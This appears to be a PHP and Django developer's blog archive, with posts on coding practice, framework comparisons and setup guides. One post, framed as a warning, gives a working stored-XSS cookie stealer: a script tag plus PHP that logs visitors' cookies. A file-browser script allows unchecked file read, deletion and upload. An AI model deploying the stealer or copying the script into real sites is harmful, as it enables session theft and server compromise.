The Six rules to be a perfect PHP 5 switcher

It’s so strange to hear about PHP 4, while PHP 5.3 is out there. Probably because there are a lot of frameworks and cms having a PHP 4 fallback.

The first steps you need to know to be a perfect PHP5 switcher, are easy:

  1. Be OOP
    It can be useful read some books, like the most important one Thinking in Java, which is free. Java apart, It explains you the importance to build your library and your works in blocks. You always should try to create your code in small pieces and reusable objects, and use classes and methods instead functions, if you can.
  2. Be DRY
    Every time you write your code, spend a little time to discover if it can be reusable and what you need to do that.
  3. Be organized
    You MUST know about MVC (Model/View/Controller) patterns and Design Patterns. Putting code in the right place it’s more simply than you think
    For example:
    If you are acting on db, you are in Model pattern
    If you are handling user input or you are using fetched data, you are in the Controller pattern
    If you are writing the interface, you are in the View pattern
  4. Don’t feel alone
    Think every time you write your code someone could be working with it:

    • use explanatory names for your methods, classes, functions, variables, constants (ex. do_coffee(), $total_smiles, LIGHT_SPEED) and avoid using numeric variables (ex: $sql1, $sql2…)
    • smart comments on your code. Write the proposal and avoid a simply code translation
    • learn PHPDoc
  5. Be version controlled
    What happens if you lose your code or some changes? Don’t be fool, use Mercurial or Git. Subversion at least. You can have your free repository, if your server hasn’t one.
  6. Be unique but not stupid
    Before writing your code, put down a schema and try to not write your code from scratch. Use frameworks or reusable libraries and help their communities, if you can. Take a look to : Symfony, Zend Framework, Pear

Suggested books:

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Netvibes
  • Tumblr
  • Twitter
  • Add to favorites
  • email
  • FriendFeed
  • StumbleUpon
  • Technorati
  • Reddit
  • Yahoo! Buzz

A 20 rows filebrowser-ftp client script in PHP

Here’s an example of a minimal filebrowser script, similar to a remote ftp client. You can clearly browse files, download them, delete and upload new ones.

<?php
if(isset($_GET['p']) && $_GET['p'])
    if(is_file($_GET['p'])){
        header('Content-Disposition: attachment; filename="'.basename($_GET['p']).'"');
        die(file_get_contents($_GET['p']));
    }else
        chdir(realpath($_GET['p']));
$base_path=getcwd().DIRECTORY_SEPARATOR;
if(isset($_FILES['f']['tmp_name']) && $_FILES['f']['tmp_name'])
    move_uploaded_file($_FILES['f']['tmp_name'], $base_path.$_FILES['f']['name']);
if(isset($_GET['d']) && is_file($base_path.$_GET['d']))
    unlink($base_path.$_GET['d']);
$files=scandir($base_path);
$html_list='';
foreach($files as $file){
    $p=urlencode($base_path.$file);
    $html_list.="<li><a href=\"?p=".$p."\">$file</a> ".((is_file($base_path.$file))?"| <a href=\"?p=$p&d=$file\">delete</a>":"")."</li>";
}
$form_upload='<form action="" method="POST" enctype="multipart/form-data"><input type="file" name="f" /><input type="submit" />';
echo "<h1>".getcwd()."</h1>$form_upload<ul>$html_list</ul>";

And here a screenshot:

Pay attention, this script is not production ready. It is only an experiment to demostrate the minimun work to create a complete file browser script. Put it on a public website could be dangerous.

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Netvibes
  • Tumblr
  • Twitter
  • Add to favorites
  • email
  • FriendFeed
  • StumbleUpon
  • Technorati
  • Reddit
  • Yahoo! Buzz

Django, Rails, Symfony – A different point of view

It’s easy to find a blog that lets you know which one makes the best things among these frameworks, but I want to point this observation in a different way. The framework community.

First of all, it doesn’t matter which framework  you will choose, these three are all at the same quality level and production ready. So, in order to choose the right one for you, you have only to think about how it fits your needs and if you feel comfortable with it.

I think about Ruby on Rails as Obama in USA. You were hoping something was going to change. You believed the web programming wasn’t ugly and boring anymore. Sure, you haven’t braces any more and you finally got your blocks, but almost everything is the same, you only changed your language.
The good news is that it has the biggest community of the three frameworks.  Thanks to that, you can find almost everything as a gem. The bad news is that sometimes you can find a related project made by a novice or a user that doesn’t understand well the language or the main project.
I suppose this community is like the PHP developers ten years ago. Approaching to it is very easy, and it lets you think you can do whatever you want with smallest effort. But this isn’t the real world. And when you realize the truth, you have already done projects that you need to keep alive. So, they suppose the rules don’t exist and they start thinking as they always do. And obviously it is not the right way.

Django uses Python, which I like most. But not the community. They have a rigid mentality and they would never want to break the rules and when it happens, they are ashamed and they punish themselves (or others). Normally they don’t care about graphics and fancy things, so all the releated projects you will find are “minimalistic”: no graphic, no frills. Sometimes also the documentation is minimalist. Often you need to explore the code, because they assume you already know the whole Python philosophy and its rules (pep). And obviously the IT world.

Symfony is like a fairy tale. You can’t believe it’s true. Free published ebooks, excellent online documentation, great community support. Where’s the trick? There’s no trick. You get what you see. The common problem of the PHP community is to see it like the rest of garbage. They think Wordpress or Drupal will conquer the world and they don’t understand anything about OOP, DRY principle and MVC layers. So, they simply suppose Symfony is hard to understand. But, the real Symfony community is open and the members do understand the importance to break up old rules and start thinking new ones (Design Pattern).

A little mention about Zend Framework. Although it’s under the big Z’s wing and it is almost to v. 2.0 step, it’s still immature.  I mean, it has a great library but, although they inserted a “looks like” CLI interface, to do a complete project (backend+frontend)  still an hard work. And, personally, I dont’ understand the use of “.ini” file configuration instead of normal PHP file.
But I’m sure all the people have got the Z patent, will improve it (if they are able to think).

A polite person doesn’t tell you his favorite, because you have to choose it by yourself. The real man does.
I prefer Django. As I said, because of Python and because I always try to be minimalist when I write my code and because sometimes you need a set of rules to build a good project.
My second choice is Symfony, because I was born as PHP developer. I think it is the state of the art of “MVC” thinking in PHP.
Speaking of which, you know well that there are a lot of PHP frameworks out there, but if you think CakePHP and CodeIgniter are alternatives, maybe you have choosen the wrong job.

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Netvibes
  • Tumblr
  • Twitter
  • Add to favorites
  • email
  • FriendFeed
  • StumbleUpon
  • Technorati
  • Reddit
  • Yahoo! Buzz

Javascript Hack – easy XSS example

You can find tons of cross site scripting hacks. I would alert you with a common and easy to do type.

The first step is to insert a javascript include tag in a shared webservice user page :

<script language="javascript" src="http://yoursite.com/cookiejar.php"></script>

Second, you need to put a script at http://yoursite.com/cookiejar.php, with the following code:

<?php
if(!is_array($_COOKIE)) die();
foreach($_COOKIE as $cookie_name => $cookie_value)
    file_put_contents('cookiejar.txt',
                         $cookie_name.':'.$cookie_value."\n",
                         FILE_APPEND);

If the website allows you to put a raw html or tags, after a while you will see all the user cookies will visit the page with the tag you inserted.

So, you should never trust a user generated content. The better way to avoid XSS is to use an advanced web framework, like Django, Rails or Symfony. But if you are creating your own code project remember always to parse the user input, strip the tags or convert all the text in urlencoding.

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Netvibes
  • Tumblr
  • Twitter
  • Add to favorites
  • email
  • FriendFeed
  • StumbleUpon
  • Technorati
  • Reddit
  • Yahoo! Buzz

PHP photo gallery all in one

You have a lot of images and don’t want a fancy Flickr or big framework (ex zenphoto) to show them. You want only put your image folders on an ftp server and show them to the world. Easy as 123. Mininim album could be a one shot solution.

I wrote it several years ago and now I decided to dust and share it because a lot of friends ask me a simple solution to have a nice web gallery of their holiday pictures or a simple photo portfolio.

This script requires only a Linux server and PHP (4 or 5) with obviously  GD library enabled. You don’t have to worry about this requirements. The simplest thing you can do is to put the file on your server and open the page into the browser. If something goes wrong, you will see an error ;)

The install process is simple, because doesn’t exists :)
Download the file from the repository and put the “index.php” file on the server. In the same directory put your image folders.

Ex.:

$ hg clone https://ifabio@bitbucket.org/ifabio/mininim-album/

You can also download the file from the repository as zip.

Use your ftp client (Cyberduck or Filezilla) to upload the file and your images. Remember to put always the images into a separate folder.

Enjoy! You can see a live demo on album.mininim.org

Report a bug.

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Netvibes
  • Tumblr
  • Twitter
  • Add to favorites
  • email
  • FriendFeed
  • StumbleUpon
  • Technorati
  • Reddit
  • Yahoo! Buzz

Django-admin +Filebrowser +TinyMCE –Grappelli made easy

First of all you have to follow the instruction here.

After that, download the source code of tinyMCE, unzip, grab the ‘tiny_mce’ folder, inside the ‘jscripts’ folder, and put it in the media folder of your project. Ex.:

$ unzip tinymce_3_*.zip
$ cp -r tinymce/jscripts/tiny_mce your_media_project_path/tiny_mce

To turn on the wysiwyg on the admin page you need to include the main tiny_mce javascript file and the javascript that convert the textareas on the admin page.
It’ really simple. Open your admin model and add the Meta class with js paths. Ex:

#admin.py of your app
from yourproject.yourapp.models import YourModel
from django.contrib import admin
from django.conf import settings

class YourModelAdmin(admin.ModelAdmin):
    class Media:
        js = (settings.MEDIA_URL+'tiny_mce/tiny_mce_src.js',
                 settings.MEDIA_URL+"filebrowser/js/TinyMCEAdmin.js",)

admin.site.register(YourModel,YourModelAdmin)

Now you can put whatever you want on your contents!

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Netvibes
  • Tumblr
  • Twitter
  • Add to favorites
  • email
  • FriendFeed
  • StumbleUpon
  • Technorati
  • Reddit
  • Yahoo! Buzz

Django + Filebrowser – Grappelli

So, you want a content management system on your site and you’re thinking about Django. Yes. Maybe You’re right, but what happen if you want include files and images on your admin edited pages? You have only few real options.

First, I want consider django-adminfiles, because it remainds me my first approch with my first admin/backend PHP powered. I feel it’s far away to be production ready. Most of all, because you haven’t a file preview, especially with the images where, unfortunately, you haven’t a resizing choices.

So, go ahead and  trying 1st google position django-filebrowser.  Really nice work, but it requires Grappelli?! Yes, grappelli has a nice interface and it has good features (eg. bookmarks), but you can’t force anyone to use that for filebrowser! So, just trying to find an escamotage.

Why filebrowser doesn’t work well with the default django admin? Because its templates require some blocks and some javascript (jQuery) not included in the default admin. So, if you want to manually fix the problem you have to change the blocks in all the template files:

from:

{% block stylesheets %}

to:

{% block extrastyle %}

and from:

{% block javascripts %}

to:

{% block extrahead %}

Finally you have to add jQuery on the javascript block:

{% block javascripts %}
{{ block.super }}
<script type=”text/javascript” src=”../../jsi18n/”></script>
<script type=”text/javascript” src=”{% admin_media_prefix %}js/core.js”></script>
<!-- add the line below -->
<script type=”text/javascript” src=”{{ settings_var.URL_FILEBROWSER_MEDIA }}uploadify/jquery-1.3.2.min.js”></script>

From django 1.2, you can skip the last step because jquery is included by default into the admin header.

… or …

you can skip all of this!

I found a fork, django-filebrowser-no-grappelli, but isn’t updated so doesn’t work fine with the image versioning, fixed on the main project. Fortunately its templates work and the simplest thing we can do is changing the main repository templates folder with the the forked one.

So:

$ svn checkout svn checkout http://django-filebrowser.googlecode.com/svn/trunk/filebrowser/ django-filebrowser

$ git clone git://github.com/wardi/django-filebrowser-no-grappelli.git django-filebrowser-no-grappelli

$ cp -r django-filebrowser-no-grappelli/filebrowser/templates django-filebrowser/filebrowser/templates

That’s all. Copy django-filebrowser folder to your local site-packages or in your project path and follow the install and setup istructions.
If you don’t specifing the default folders, you have to create default folders in your project media folder:

$ mkdir yourprojectpath/media/uploads
$ mkdir yourprojectpath/media/_versions_

Have fun! -> http://localhost:8000/admin/filebrowser/browse

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Netvibes
  • Tumblr
  • Twitter
  • Add to favorites
  • email
  • FriendFeed
  • StumbleUpon
  • Technorati
  • Reddit
  • Yahoo! Buzz